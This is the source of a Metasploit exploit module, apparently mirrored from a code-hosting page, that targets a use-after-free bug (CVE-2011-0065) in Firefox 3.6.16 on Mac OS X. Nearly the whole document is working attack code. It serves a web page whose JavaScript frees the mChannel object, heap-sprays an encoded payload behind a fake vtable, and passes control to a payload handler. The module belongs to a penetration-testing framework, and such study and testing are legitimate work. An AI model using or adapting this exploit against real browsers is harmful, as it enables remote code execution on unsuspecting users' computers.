Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/browser/mozilla_mchannel.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9#include Msf::Exploit::Remote::BrowserAutopwn10#11#autopwn_info({12# :ua_name => HttpClients::FF,13# :ua_minver => "3.6.16",14# :ua_maxver => "3.6.16",15# :os_name => OperatingSystems::Match::MAC_OSX,16# :javascript => true,17# :rank => NormalRanking,18#})1920def initialize(info = {})21super(update_info(info,22'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free',23'Description' => %q{24This module exploits a use-after-free vulnerability in Mozilla25Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the26OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel27becomes a dangling pointer and can be reused when setting the OBJECTs28data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7,2910.6.8, 10.7.2 and 10.7.3.30},31'License' => MSF_LICENSE,32'Author' =>33[34'regenrecht', # discovery35'Rh0', # windows metasploit module36'argp <argp[at]census-labs.com>' # mac os x version37],38'References' =>39[40['CVE', '2011-0065'],41['OSVDB', '72085'],42['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],43['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']44],45'Payload' =>46{47'Space' => 1024,48},49'Platform' => 'osx',50'Targets' =>51[52[53# Firefox 3.6.16 on Lion runs as a 32-bit process54'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)',55{56'Arch' => ARCH_X86,57'Fakevtable' => 0x2727,58'Fakefunc' => 0x2727001c,59}60],61],62'DefaultTarget' => 0,63'DisclosureDate' => '2011-05-10'64))65end6667def on_request_uri(cli, request)68# random javascript variable names69js_element_name = rand_text_alpha(rand(10) + 5)70js_obj_addr_name = rand_text_alpha(rand(10) + 5)71js_sc_name = rand_text_alpha(rand(10) + 5)72js_ret_addr_name = rand_text_alpha(rand(10) + 5)73js_chunk_name = rand_text_alpha(rand(10) + 5)74js_final_chunk_name = rand_text_alpha(rand(10) + 5)75js_block_name = rand_text_alpha(rand(10) + 5)76js_array_name = rand_text_alpha(rand(10) + 5)7778# check for non vulnerable targets79agent = request.headers['User-Agent']8081if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/82vprint_error("Target not supported: #{agent}")83send_not_found(cli)84return85end8687# re-generate the payload88return if ((payload = regenerate_payload(cli).encoded) == nil)8990payload_buf = ''91payload_buf << payload92escaped_payload = Rex::Text.to_unescape(payload_buf)9394# setup the fake memory references95my_target = targets[0] # in case we add more targets later96fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))97fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))9899exploit_js = <<-JS100#{js_element_name} = document.getElementById("d");101#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);102#{js_element_name}.onChannelRedirect(null, new Object, 0)103104#{js_obj_addr_name} = unescape("\x00#{fakevtable}");105106var #{js_sc_name} = unescape("#{escaped_payload}");107108var #{js_ret_addr_name} = unescape("#{fakefunc}");109110while(#{js_ret_addr_name}.length < 0x120)111{112#{js_ret_addr_name} += #{js_ret_addr_name};113}114115var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);116#{js_chunk_name} += #{js_sc_name};117#{js_chunk_name} += #{js_ret_addr_name};118var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);119120while(#{js_final_chunk_name}.length < 0x800000)121{122#{js_final_chunk_name} += #{js_final_chunk_name};123}124125var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);126127#{js_array_name} = new Array()128129for(n = 0; n < 0x220; n++)130{131#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};132}133JS134135html = <<-HTML136<html>137<body>138<object id="d"><object>139<script type="text/javascript">140#{exploit_js}141</script>142</body>143</html>144HTML145146# remove the extra tabs147html = html.gsub(/^ {4}/, '')148print_status("Sending #{self.name}")149send_response_html(cli, html, { 'Content-Type' => 'text/html' })150151# handle the payload152handler(cli)153end154end155156157